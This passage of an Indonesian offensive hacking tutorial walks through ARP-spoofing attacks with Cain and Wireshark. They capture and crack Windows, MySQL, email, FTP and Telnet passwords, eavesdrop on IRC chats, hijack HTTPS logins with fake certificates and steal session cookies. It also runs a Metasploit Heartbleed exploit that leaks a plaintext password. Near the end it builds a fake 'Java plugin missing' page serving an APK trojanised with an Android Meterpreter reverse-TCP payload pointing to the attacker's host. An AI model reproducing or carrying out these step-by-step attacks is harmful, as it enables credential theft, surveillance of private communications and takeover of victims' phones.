Saat komputer target login maka di komputer penyerang muncul log nya, di sini untuk mengetahui passwordnya maka perlu dilakukan crack. Caranya pada log klik kanan lalu pilih Send to Cracker.

Klik Cracker lalu pilih NTLMv2 Hashes, lalu pilih username yang password nya ingin di crack, lalu pilih Dictionary Attack.

Klik Add to list untuk mencari wordlist yang akan digunakan.

Misal wordlist yang digunakan filenya pass.txt.

Saat klik start setelah wordlist di open. Hasil jika password ada di wordlist, maka muncul passwordnya seperti di bawah ini.

17.5 ARP Spoofing untuk mendapatkan password saat client login ke MySQL Server (lokal)

Pada New ARP Poison router di komputer penyerang, set sebelah kiri adalah ip address target, yang sebelah kanan adalah server yang akan diakses oleh client target. Setelah selesai klik OK.

Klik icon poison

Komputer target dengan ip address 192.168.1.53 mengakses MySQL Server pada komputer dengan ip address 192.168.1.32.

Selesai mengakses dan login maka hasilnya hashnya akan muncul di program cain. Pilih Send to Cracker untuk mengirimkan hashnya di page cracker.

Pilih MySQL Hashes lalu pilih username yang ingin dilakukan crack, pilih Dictionary Attack lalu pilih MySQL SHA1 Hashes + challenge.

Klik add to list untuk mengambil wordlist.

Di sini dipilih file pass.txt untuk dijadikan wordlist.

Setelah wordlist dipilih dan dilakukan open maka klik Start, hasilnya jika ada password pada wordlist maka password akan tampil seperti di bawah ini.

17.6 ARP Spoofing untuk mendapatkan password saat client mengambil e-mail dari mail server ke Outlook Express

POP3 (Post Office Protocol version 3) adalah protokol yang digunakan untuk mengambil surat elektronik (email) dari server email.

Protokol ini erat hubungannya dengan protokol SMTP di mana protokol SMTP berguna untuk mengirim surat elektronik dari komputer pengirim ke server.

Protokol POP3 dibuat karena desain dari sistem surat elektronik yang mengharuskan adanya server surat elektronik yang menampung surat eletronik untuk sementara sampai surat elektronik tersebut diambil oleh penerima yang berhak. Kehadiran server surat elektronik ini disebabkan kenyataan hanya sebagian kecil dari komputer penerima surat elektronik yang terus-menerus melakukan koneksi ke jaringan internet.

Protokol ini dispesifikasikan pada RFC 1939.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Post_Office_Protocol_versi_3

Di sini adalah melakukan sniifing password yang digunakan outlook service untuk login ke mail server untuk mengakses account e-mail yang dimilikinya melalui protokol POP3.

Pada New ARP Poison router di komputer penyerang, set sebelah kiri adalah ip address target, yang sebelah kanan adalah server yang akan diakses oleh client target. Setelah selesai klik OK.

Saat komputer target akan mengambil e-mail melalui program Outlook Express dari Mail Server yang membuat port POP3.

Dari hasil komputer target mengambil e-mail di mail server, hasilnya didapatkan username dan password POP3.

Saat komputer target mengirimkan e-mail melalui Outlook Express juga dapat di sniffing passwordnya.

17.7 ARP Spoofing untuk melihat isi e-mail yang dikirim melalui Outlook Express ke internet

Simple Mail Transfer Protocol (SMTP) is an Internet standard for electronic mail (email) transmission. First defined by RFC 821 in 1982, it was last updated in 2008 with the Extended SMTP additions by RFC 5321 - which is the protocol in widespread use today.

SMTP by default uses TCP port 25. The protocol for mail submission is the same, but uses port 587. SMTP connections secured by SSL, known as SMTPS, default to port 465 (nonstandard, but sometimes used for legacy reasons).

Although electronic mail servers and other mail transfer agents use SMTP to send and receive mail messages, user-level client mail applications typically use SMTP only for sending messages to a mail server for relaying. For receiving messages, client applications usually use either POP3 or IMAP.

Although proprietary systems (such as Microsoft Exchange and IBM Notes) and webmail systems (such as Outlook.com, Gmail and Yahoo! Mail) use their own non-standard protocols to access mail box accounts on their own mail servers, all use SMTP when sending or receiving email from outside their own systems.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol

Di sini protocol yang akan dilakukan sniffing adalah pada port 25 (default) untuk melihat isi e-mail yang dikirim ke service SMTP yang dibuka oleh mail server di internet.

Wireshark dapat digabung dengan cain, saat poison di cain aktif maka wireshark dapat membantu untuk mendapatkan informasi-informasi yang tidak dapat dilakukan oleh Cain.

Hasilnya dari wireshark saat komputer target mengirimkan e-mail melalui Outlook Express. Filter yang digunakan adalah smtp.

Untuk mendapatkan hasil yang lebih baik, klik kanan pada salah satu stream nya yang berhubungan dengan SMTP, lalu pilih Follow TCP Stream.

Hasilnya kita dapat mengetahui isi e-mail yang dikirim.

Bab 18

ARP Spoofing pada target Android

18.1 ARP Spoofing untuk melihat password FTP Server dan Telnet Server

Langkah awal terlebih dahulu periksa port dan service android target dengan NMAP. Untuk di sini ARP Spoofing menggunakan Cain. Di sini kamu bisa belajar menggunakan Cain, dalam pencarian di google.com, kamu bisa mendapatkan tutorialnya, di sini di asumsikan kamu sudah bisa menggunakan program cain.

Untuk penyadapan pada protokol yang tidak aman yang kamu temukan di target android maka umumnya kamu harus memasukkan port target di bagian Filter dan Ports, pilihan menunya ada di Configuration.

Misal untuk telnet portnya ditambah 1026

Untuk FTP juga bisa dilakukan, contohnya seperti di bawah ini

Lakukan scanning seperti biasa, di sini kamu bisa melihat pada kolom OUI fingerprint muncul tulisan Lenovo Movile Communication.

Di sini kita mengetahui targetnya menggunakan ip address 192.168.1.101

IP address	MAC address	OUI fingerprint	H
192.168.1.1	6466B3CC6A2A	TP-LINK TECHNOLOGIES CO.,...	
192.168.1.3	E894F6440C9B	TP-LINK TECHNOLOGIES CO.,...	
192.168.1.8	647002E20459	TP-LINK TECHNOLOGIES CO.,...	
192.168.1.14	002586D20658	TP-LINK Technologies Co., Ltd.	
192.168.1.101	6C5F1C938969	Lenovo Mobile Communication ...	
192.168.1.121	E894F6E35832	TP-LINK TECHNOLOGIES CO.,...	
192.168.1.127	001FC6C59AA3	ASUSTek COMPUTER INC.	
192.168.1.192	001E9047BDB3	Elitegroup Computer Systems Co	
192.168.1.250	6466B3C74A0F	TP-LINK TECHNOLOGIES CO.,...	

Pada New ARP Poison Routing pada kolom kiri, diisi komputer pemilik android, dikolom kanan diisi ip address android yang akan diremote dari komputer pemilik android.

Setelah dilakukan spoofing, saat di bawah ini pemilik android ingin mengakses telnet pada android maka passwordnya juga akan dikirim ke komputer penyerang.

Hasil penyadapan telnet ada di bawah ini

Selain telnet, FTP juga bisa disadap passwordnya.

Saat client login melalui port 7272

Hasil dari client berhasil login

Di komputer penyadap, username dan password muncul di Cain

18.2 Mengintip isi chatting orang pengguna android yang menggunakan IRC

Pengguna chatting IRC di android bisa di sadap di jaringan LAN dengan gabungan program Cain dan wireshark

Banyak pengguna IRC di channel-channel kota yang di mana saat mereka online memanfaatkan jaringan hotspot maka memungkinkan isi chatting dapat disadap.

Lakukan terlebih dahulu ARP Spoofing dengan Cain, di sini tidak diberitahukan step by step, karena caranya sudah ada di materi sebelumnya. Di sini ditunjukkan langsung pada New ARP Poison Routing.

Di sini diasumsikan ip address 192.168.1.102 adalah ip address korban. Ip address router 192.168.1.1

Setelah dilakukan ARP Spoofing maka jalankan program wireshark dan lakukan tindakan penyadapan dengan wireshark

Saat paket sudah masuk, klik kanan pada TCP yang berhubungan dengan IRC

Hasil dari penyadapan

18.3 Sniffing SSL (HTTPS) Connections Through Fake Certificate

Poisoning pada target ip address 192.168.1.127

Komputer target membuka browser internet explorer lalu membuka alamat mail.yahoo.com, muncul tampilan security alert.

Tampilan View Certificate (1)

Tampilan View Certificate (2)

Tampilan View Certificate (3)

Tampilan login jika meneruskan proses

Saat target login yahoo mail maka password tertangkap Cain.

Untuk contoh gmail.com

Hasilnya setelah login

18.4 Eksploitasi heartbleed

Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the party is using a vulnerable OpenSSL instance for TLS as a server or a client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug's name derives from heartbeat.

Sumber : https://en.wikipedia.org/wiki/Heartbleed

The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).

Sumber : http://heartbleed.com/

Heartbleed adalah bug yang memanfaatkan kelemahan di OpenSSL. Dinamakan Heartbleed karena bug ini memanfaatkan fasilitas heartbeat yang ada di OpenSSL

Sumber : https://www.pcplus.co.id/2014/04/fitur/apa-itu-heartbleed/

Heartbleed dalam arti fitur :

Heartbeat itu salah satu fitur OpenSSL yang diperkenalkan tahun 2012. Tujuan heartbeat adalah mengecek apakah komputer kamu masih terhubung ke sebuah server. Soalnya, seringkali router—yang menjadi perantara antara komputer kamu dengan server di internet—memutuskan hubungan jika terjadi idle yang terlalu lama. Dengan heartbeat, komputer kamu bisa mengetahui apakah masih terhubung dengan server yang dituju.

Sumber : https://www.pcplus.co.id/2014/04/fitur/apa-itu-heartbleed/

```
root@kalidata:~# nmap -sV -O -p 443 --script ssl-heartbleed 192.168.1.102
Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-23 03:23 EST
Nmap scan report for 192.168.1.102
Host is up (0.00094s latency).
PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptog
raphic software library. It allows for stealing information intended to be prote
cted by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0
.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for read
ing memory of systems protected by the vulnerable OpenSSL versions and could all
```

nmap -sV -O -p 443 --script ssl-heartbleed 192.168.1.102

Admin melakukan login

```
       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search heart
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                                  Disclosure Date  Rank
scription
   ----                                                  ---------------  ----
---------
   auxiliary/scanner/ssl/openssl_heartbleed              2014-04-07       normal
enSSL Heartbeat (Heartbleed) Information Leak
   auxiliary/server/openssl_heartbeat_client_memory      2014-04-07       normal
enSSL Heartbeat (Heartbleed) Client Memory Exposure
```

search heart

```
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops              ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search heart
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                                     Disclosure Date  Rank
scription
   ----                                                     ---------------  ----
---------
   auxiliary/scanner/ssl/openssl_heartbleed                 2014-04-07       normal
enSSL Heartbeat (Heartbleed) Information Leak
   auxiliary/server/openssl_heartbeat_client_memory         2014-04-07       normal
enSSL Heartbeat (Heartbleed) Client Memory Exposure

msf > use auxiliary/scanner/ssl/openssl_heartbleed
```

use auxiliary/scanner/ssl/openssl_heartbleed

```
msf auxiliary(openssl_heartbleed) > set RHOSTS 192.168.1.102
RHOSTS => 192.168.1.102
msf auxiliary(openssl_heartbleed) > set RPORT 443
RPORT => 443
msf auxiliary(openssl_heartbleed) > set verbose true
verbose => true
msf auxiliary(openssl_heartbleed) > set THREADS 50
THREADS => 50
msf auxiliary(openssl_heartbleed) > exploit

[*] 192.168.1.102:443 - Sending Client Hello...
[*] SSL record #1:
[*]     Type:    22
[*]     Version: 0x0301
[*]     Length:  86
[*]     Handshake #1:
```

set RHOSTS 192.168.1.102

set RPORT 443

set verbose true

set THREADS 50

exploit

```
[*]                Length: 0
[*]                Type:   Server Hello Done (14)
[*] 192.168.1.102:443 - Sending Heartbeat...
[*] 192.168.1.102:443 - Heartbeat response, 65535 bytes
[+] 192.168.1.102:443 - Heartbeat response with leak
[*] 192.168.1.102:443 - Printable info leaked:
......X5"P..c`....\&9+../..i....?...i...f.....".!.9.8.........5................
............3.2.....E.D...../...A.......................................pplicati
on/xhtml+xml,application/xml;q=0.9,*/*;q=0.8..Accept-Language: en-US,en;q=0.5..A
ccept-Encoding: gzip, deflate..Referer: https://192.168.1.102/..Connection: keep
-alive..Content-Type: application/x-www-form-urlencoded..Content-Length: 48....u
sername=kurniawan&password=baseball&login=Login%.s..w..g..........I.............
................................................................................
..................................... repeated 15654 times ....................
................................................................................
.................................@..............................................
..... repeated 16122 times .....................................................
................................................................................
```

Hasil eksploitasi

Sorot semua lalu copy

Buka program leafpad

Paste di leafpad

Cari nama kurniawan

Password ditemukan

18.5 Mengambil Cookie (MITM + Wireshark)

Cookie adalah serangkaian teks yang disimpan pada komputer Anda oleh situs web yang Anda kunjungi. Pada umumnya cookie menyimpan pengaturan atau preferensi Anda untuk suatu situs web tertentu, misalnya bahasa yang dipilih, atau lokasi (negara) Anda. Ketika Anda kembali ke situs web tersebut, Firefox akan mengirimkan cookie yang bersesuaian kepada situs web yang bersangkutan. Dengan cara ini, situs dapat menampilkan informasi yang sesuai dengan pengaturan atau preferensi Anda.

Sumber : https://support.mozilla.org/id/kb/Tentang%20Cookie#w_apa-cookie-itu

An HTTP cookie (also called web cookie, Internet cookie, browser cookie or simply cookie) is a small piece of data sent from a website and stored in the user's web browser while the user is browsing. Cookies were designed to be a reliable mechanism for websites to remember stateful information (such as items added in the shopping cart in an online store) or to record the user's browsing activity (including clicking particular buttons, logging in, or recording which pages were visited in the past).

Sumber : https://en.wikipedia.org/wiki/HTTP_cookie

Set-cookie

Set-Cookie: PHPSESSID=a73691f4bf7e5f313a32a249233d1240; path=/;

Set-Cookie: PHPSESSID=a73691f4bf7e5f313a32a249233d1240; path=/; HttpOnly

Set-Cookie: PHPSESSID=a73691f4bf7e5f313a32a249233d1240; path=/; secure

Set-Cookie: PHPSESSID=a73691f4bf7e5f313a32a249233d1240; path=/; secure; HttpOnly

Who developed HttpOnly? When?

According to a daily blog article by Jordan Wiens, “No cookie for you!,” HttpOnly cookies were first implemented in 2002 by Microsoft Internet Explorer developers for Internet Explorer 6 SP

What is HttpOnly?

According to the Microsoft Developer Network, HttpOnly is an additional flag included in a Set-Cookie HTTP response header. Using the HttpOnly flag when generating a cookie helps mitigate the risk of client side script accessing the protected cookie (if the browser supports it).

Sumber : https://www.owasp.org/index.php/HttpOnly

SecureFlag

The secure flag is an option that can be set by the application server when sending a new cookie to the user within an HTTP Response. The purpose of the secure flag is to prevent cookies from being observed by unauthorized parties due to the transmission of a the cookie

To accomplish this goal, browsers which support the secure flag will only send cookies with the secure flag when the request is going to a HTTPS page. Said in another way, the browser will not send a cookie with the secure flag set over an unencrypted HTTP request.

By setting the secure flag, the browser will prevent the transmission of a cookie over an unencrypted channel.

Sumber : https://www.owasp.org/index.php/SecureFlag

Default :

```
  GNU nano 2.2.6                File: php.ini

; http://php.net/session.use-cookies
session.use_cookies = 1

; http://php.net/session.cookie-secure
;session.cookie_secure =

; This option forces PHP to fetch and use a cookie for storing a
; the session id. We encourage this operation as it's very helpf
; session hijacking when not specifying and managing your own se
; not the end all be all of session hijacking defense, but it's
; http://php.net/session.use-only-cookies
session.use_only_cookies = 1

; Name of the session (used as cookie name).
; http://php.net/session.name
session.name = PHPSESSID
```

Session.cookie_secure tidak diaktifkan

```
  GNU nano 2.2.6                File: php.ini

session.cookie_lifetime = 0

; The path for which the cookie is valid.
; http://php.net/session.cookie-path
session.cookie_path = /

; The domain for which the cookie is valid.
; http://php.net/session.cookie-domain
session.cookie_domain =

; Whether or not to add the httpOnly flag to the cookie, wl
; http://php.net/session.cookie-httponly
session.cookie_httponly =

; Handler used to serialize data.  php is the standard ser
; http://php.net/session.serialize-handler
session.serialize_handler = php

; Defines the probability that the 'garbage collection' pr
```

Session.cookie_httponly tidak diset nilainya

Di sini akan dicontohkan bagaimana cara mengambil cookie target

Setelah melakukan ARP Spoofing pada komputer target maka jalankan program wireshark. Di sini diasumsikan target login ke halaman admin web dengan menggunakan CMS Wordpress.

Untuk filter : http.cookie.

Ambil cookie dari wireshark

Add to firefox untuk Greasemonkey

Download : https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/

Install Cookie Injector ke Greasemonkey

Download : http://userscripts-mirror.org/scripts/show/119798

Setelah diinstall masuk ke halaman login wordpress yang dibuka target

Tekan Alt+C, lalu paste cookie di Wireshark Dump.

Hasilnya setelah di paste cookie nya

Refresh maka akan muncul halaman admin wordpress.

Tambahan dalam mengambil PHPSSESID dengan wireshark dan menggunakannya

Admin melakukan login

Admin sudah login

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

tcp.stream eq 52

No.	Time	Source	Destination	Protocol	Length	Info
419	8.632366	104.28.10.111	192.168.1.9	HTTP	60	[TCP Previous s
420	8.632407	192.168.1.9	104.28.10.111	TCP	66	56422→80 [ACK]
421	8.639272	104.28.10.111	192.168.1.9	TCP	1095	[TCP Out-Of-Ord
422	8.639319	192.168.1.9	104.28.10.111	TCP	66	[TCP Dup ACK 42
423	8.647158	104.28.10.111	192.168.1.9	TCP	1444	[TCP Out-Of-Ord
424	8.647263	192.168.1.9	104.28.10.111	TCP	54	56422→80 [ACK]
453	11.909980	192.168.1.9	104.28.10.111	HTTP	1207	POST /professio
454	11.956590	104.28.10.111	192.168.1.9	TCP	60	80→56422 [ACK]
469	12.480308	104.28.10.111	192.168.1.9	TCP	805	[TCP segment of

```
▷ Frame 453: 1207 bytes on wire (9656 bits), 1207 bytes captured (9656 bits) on interface 0
▷ Ethernet II, Src: Tp-LinkT_28:55:38 (a0:f3:c1:28:55:38), Dst: TendaTec_30:d3:10 (c8:3a:35:3
▷ Internet Protocol Version 4, Src: 192.168.1.9, Dst: 104.28.10.111
▷ Transmission Control Protocol, Src Port: 56422, Dst Port: 80, Seq: 1028, Ack: 2817, Len: 11
▷ Hypertext Transfer Protocol
▷ HTML Form URL Encoded: application/x-www-form-urlencoded
```

Dilakukan sniffing

```
Referer: http://xcode.or.id/professional/download/login.php
Cookie: __cfduid=d78272bb3885c99b0d45116a3378d60291476715326; HstCfa1106366=1476717441859; HstCla1106366=1478812376115;
HstCmu1106366=1476717441859; HstPn1106366=1; HstPt1106366=53; HstCnv1106366=28; HstCns1106366=39; phpbb3_mqrz7_u=1;
phpbb3_mqrz7_k=; phpbb3_mqrz7_sid=c382325cd26fac4d9a49d4ebd1dafc03;
__utma=108258571.390327465.1476859265.1478356480.1478812380.15; __utmz=108258571.1476859265.1.1.utmcsr=(direct)|
utmccn=(direct)|utmcmd=(none); style_cookie=printonly; __tawkuuid=e::xcode.or.id::3HTC3E95LD9/O/QWjJvNutBwyJwpJAAklW1t/
PtUxDuVoTSNYUse+CWVv85uNo4D::2; Tawk_568bfbf02ab61c2264270002=vs36.tawk.to:443::0; PHPSESSID=d1coc1ds2e38mt7bo7ei0p8c33
Connection: keep-alive
```

Cookie dan PHPSSESID didapatkan

Form Login | http://192.16....9/wew32.txt

xcode.or.id/professional/download/login.php

Most Visited | Offensive Security | Kali Linux | Kali Docs | Exploit-DB | Aircrack-ng

Login download materi X-code Training

Username :

Password :

Login Reset

Sistem dibangun oleh Kurniawan ~ xcode.or.id

Di komputer penyerang belum bisa login

Isi di cookie manager+ untuk __cfduid

Isi di cookie manager+ untuk PHPSSEID

Saat dilakukan refresh pada index.php, langsung muncul tampilan login

Saat korban logout

Di komputer penyerang juga logout

Materi sisipan

ARP Spoofing untuk mobile hacking

Wi-Fi
Hotspot2
Terhubung
Datax
Disimpan, diamankan dengan

Aksesibilitas
Opsi pengembang
Tentang ponsel

15:19
Tentang ponsel
Status
Nomor telepon, sinyal, dan sebagainya.
Informasi hukum

Alamat bluetooth
Tidak Tersedia
Alamat IP
192.168.0.101
Nomor seri
8SHQ31202507YD604170D8J

File View Configure Tools Help
Decoders Network Sniffer Cracker Traceroute CCDU Wireless Query
P address MAC address OUI fingerprint Host name
192.168.0.1 A0F3C1111F84 TP-LINK TECHNOLOGIES C...
192.168.0.101 6C5F1C938969 Lenovo Mobile Communica...
Scan MAC Addresses
Resolve Host Name
Remove
Remove All
Clear Promiscuous-Mode Results
Export

File View Configure Tools Help
Decoders Network Sniffer Cracker
IP address MAC address OUI fingerprint
192.168.0.1 A0F3C1111F84 TP-LINK TECHNOLOGIES C...
192.168.0.101 6C5F1C938969 Lenovo Mobile Communica...
MAC Address Scanner
Target
All hosts in my subnet
Range
From
192 168 0 1
To
192 168 0 254
Promiscuous-Mode Scanner
ARP Test (Broadcast 31-bit)
ARP Test (Broadcast 16-bit)
ARP Test (Broadcast 8-bit)
ARP Test (Group bit)
ARP Test (Multicast group 0)
ARP Test (Multicast group 1)
ARP Test (Multicast group 3)
All Tests
OK
Cancel

File View Configure Tools Help
NTLM AUTH
CHALL SPOOF RESET
CHALL SPOOF NTLM
Decoders
Network
Sniffer
Cracker
Traceroute
IP address
MAC address
OUI fingerprint
Host name
192.168.0.1
A0F3C1111F84
TP-LINK TECHNOLOGIES C...
192.168.0.101
6C5F1C938969
Lenovo Mobile Communica...

File View Configure Tools Help
NTLM AUTH
CHALL SPOOF RESET
CHALL SPOOF NTLM
Decoders
Network
Sniffer
Cracker
Traceroute
APR
APR-Cert (22)
APR-DNS
Status
IP address

WARNING !!!
APR enables you to hijack IP traffic between the selected host on the left list and all selected hosts on the righ
directions. If a selected host has routing capabilities WAN traffic will be intercepted as well. Please note that sir
machine has not the same performance of a router you could cause DoS if you set APR between your Default
all other hosts on your LAN.
IP address
MAC
Hostname
192.168.0.1
A0F3C1111F84
192.168.0.101
6C5F1C938969
OK

File View Configure Tools Help
Decoders Network Sniffer Cracker Traceroute CCDU
APR
APR-Cert (22)
Status IP address MAC address
Idle 192.168.0.101 6C5F1C938969

File View Configure Tools Help
Decoders Network Sniffer Cracker Traceroute CCDU Wireless
APR
APR-Cert (22)
APR-DNS
APR-SSH-1 (0)
Status IP address MAC address Packets ->
Poisoning 192.168.0.101 6C5F1C938969 0 0

File View Configure Tools Help
Decoders Network Sniffer Cracker Traceroute CCDU Wireless Query
Passwords
FTP (0)
HTTP (0)
IMAP (0)
LDAP (0)
POP3 (0)
SMB (0)
Timestamp FTP server Client Username Password

Diperlukan Otentikasi
Server ftp://ftplive.com:21 memerlukan nama pengguna dan sandi.
Nama Pengguna:
admin
Sandi:
Log In
Batal

File View Configure Tools Help
Network
Sniffer
Cracker
Traceroute
CCDU
Wireless
Query
Timestamp
FTP server
Client
Username
Password
07/04/2017 - 15:30:39
45.33.107.164
192.168.0.101
anonymous
chrome@exa...
07/04/2017 - 15:31:14
45.33.107.164
192.168.0.101
admin
12355678

Filters
Best match
Wireshark
Desktop app
Run as administrator
Open file location
Apps
Cracker

The Wireshark Network Analyzer
e Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Apply a display filter ... <Ctrl-/>
Welcome to Wireshark
Capture
...using this filter:
Enter a capture filter ...
Wi-Fi
Ethernet
Local Area Connection* 13
Local Area Connection* 2
Local Area Connection* 11
Local Area Connection* 12
Bluetooth Network Connection

15:33
AndroIRC
IRC
AndroIRC
version 3.3.4
www.androirc.com
Tahukah anda?
AndroIRC now supports the FiSH protocol.
More information on the wiki

15:39
DALnet
irc.dal....
DALnet
-DALnet- *** Notice -- This server runs an open proxy monitor to prevent abuse.
-DALnet- *** Notice -- If you see connections on various ports from irc.dal.net
-DALnet- *** Notice -- please disregard them, as they are the monitor in action.
-DALnet- *** Notice -- For more information please visit http://kline.dal.net/proxy/
** tukangajah mengganti mode +i
Kirim

Tindakan
Bergabung ke saluran
Ganti nick
Query baru

Masukkan nama saluran:
#yogyakarta
Serahkan

@Han
@jomblo
@Malioboro
@manis
@nduk
@Pangeran
ergabung dengan #yogyakarta
er nick? ketik /ns help register dan
. | Bantuan? Join #Indonesia |
!taurus / !monkey

** Query dengan siang_hari
(tukangajah) Haiiii
Kirim

Capturing from Ethernet
File Edit View Go Capture Analyze Statistics Telepho
irc
irc\
ircomm
No.
Source
Destination
204.79.197.200
192.168
2 2.807452
Shenzhen_65:3c:70
LenovoM
3 2.807511
Shenzhen_65:3c:70
LenovoM
4 2.807896
Shenzhen_65:3c:70
Tp-Link
5 2.807937
Shenzhen_65:3c:70
Tp-Link
6 3.865486
74.125.200.102
192.168
7 3.866574
74.125.200.102
192.168

Conversation Filter
Colorize Conversation
SCTP
Follow
Copy
Protocol Preferences
Decode As...
Show Packet in New Window
TCP Stream
UDP Stream
SSL Stream
HTTP Stream
3c:70 (50:af:73:65:3c:70)
Ack: 72, Len: 61

:istana.ix.sg.dal.net PONG istana.ix.sg.dal.net
:n8831!~user3875@120.188.79.76 JOIN :#yogyakarta
:Malioboro!malioboro@2001:470:e94b::a144:2a2a PRIVMSG #yogy
Points .05Remaining
PING :androirc
:istana.ix.sg.dal.net PONG istana.ix.sg.dal.net :tukangajah
PRIVMSG siang_hari :Haiiii
PING :androirc
:istana.ix.sg.dal.net PONG istana.ix.sg.dal.net :tukangajah
:Om^N64c3n6!~agan_kaya@180.245.132.32 PART #yogyakarta
PING :androirc
:istana.ix.sg.dal.net PONG istana.ix.sg.dal.net :tukangajal
PRIVMSG #yog

File
Machine
Help
New
Settings
Discard
Start
Windows XP SP2
Powered Off
Kali 2.0 Fresh
Powered Off
Windows XP
Powered Off
Windows XP SP3

root@kalidata: ~
File Edit View Search Terminal Help
root@kalidata:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.29 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::a00:27ff:fec6:1e2e prefixlen 64 scopeid 0x20<link>
ether 08:00:27:c6:1e:2e txqueuelen 1000 (Ethernet)
RX packets 32 bytes 3209 (3.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 31 bytes 2254 (2.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 0 (Local Loopback)
RX packets 20 bytes 1200 (1.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20 bytes 1200 (1.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@kalidata: ~
File Edit View Search Terminal Help
root@kalidata:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.29 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::a00:27ff:fec6:1e2e prefixlen 64 scopeid 0x20<link>
ether 08:00:27:c6:1e:2e txqueuelen 1000 (Ethernet)
root@kalidata: ~
File Edit View Search Terminal Help
root@kalidata:~#
lo: flags=73<UP,LOOPBACK,R
inet 127.0.0.1 ne
inet6 ::1 prefixl
loop txqueuelen 0
RX packets 20 byt

```
root@kalidata:~# ifconfig
eth0: flags=4163<UP,BROADCAS
        inet 192.168.0.29  n
        inet6 fe80::a00:27ff
        ether 08:00:27:c6:1e
        RX packets 32  bytes
        RX errors 0  dropped
        TX packets 31  bytes
        TX errors 0  dropped

lo: flags=73<UP,LOOPBACK,RUN
        inet 127.0.0.1  netm
        inet6 ::1  prefixlen
        loop  txqueuelen 0
        RX packets 20  bytes
        RX errors 0  dropped
        TX packets 20  bytes
```

```
root@kalidata: /var/www/html
File  Edit  View  Search  Terminal  Help
root@kalidata:~# cd /var/www/html
root@kalidata:/var/www/html# ls -l index.html
-rw-r--r-- 1 root root 823 Apr  6 10:28 index.html
root@kalidata:/var/www/html# cat index.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//E
g/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=
<title>Install missings plugin</title>
</head>

<body>
<p align="center"> </p>
<p align="center"><a href="showjava.apk"><img src="java.jpg"
<p align="center"><strong>ERROR: Plugin missing</strong></p>
<p align="center">The Java plug-in was blocked because it is
<p align="center">Click the link below to fix this problem.</
<p align="center">Click the link below to fix this problem
<p align="center"><a href="showjava.apk">Free Java download f
```

192.168.0.29

Search

Activate Java.

ERROR: Plugin missing

The Java plug-in was blocked because it is out of date.

Click the link below to fix this problem.

```
root@kalidata:/var/www/html# service ap
root@kalidata:/var/www/html# cd /home
root@kalidata:/home# msfconsole
```

PuTTY Configuration
Category:
Session
Logging
Terminal
Keyboard
Bell
Features
Window
Appearance
Behaviour
Basic options for your PuTTY session
Specify the destination you want to connect to
Host Name (or IP address)
Port
192.168.0.29
22
Connection type:
Raw
Telnet
Rlogin
SSH
Serial
Load, save or delete a stored session
Saved Sessions

login as: kurniawan
kurniawan@192.168.0.29's password:
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 6 11:51:53 2017 from 192.168.1.9
$ sudo su
[sudo] password for kurniawan:
root@kalidata:/home/kurniawan# ls showjava.apk
showjava.apk
root@kalidata:/home/kurniawan#

Untitled - Notepad
File Edit Format View Help
ruby apk-embed-payload.rb showjava.apk -p android/meterpreter/reverse_tcp
lhost=192.168.0.29 lport=1000

```
root@kalidata:/home/kurniawan# ruby apk-embed-payload.rb showjava.apk -p android
/meterpreter/reverse_tcp lhost=192.168.0.29 lport=1000
[*] Generating msfvenom payload..
[*] Signing payload..
[*] Decompiling orignal APK..
[*] Decompiling payload APK..
[*] Locating onCreate() hook..
[*] Copying payload files..
[*] Loading original/smali/com/njlabs/showjava/ui/Landing.smali and injecting pa
yload..
[*] Poisoning the manifest with meterpreter permissions..
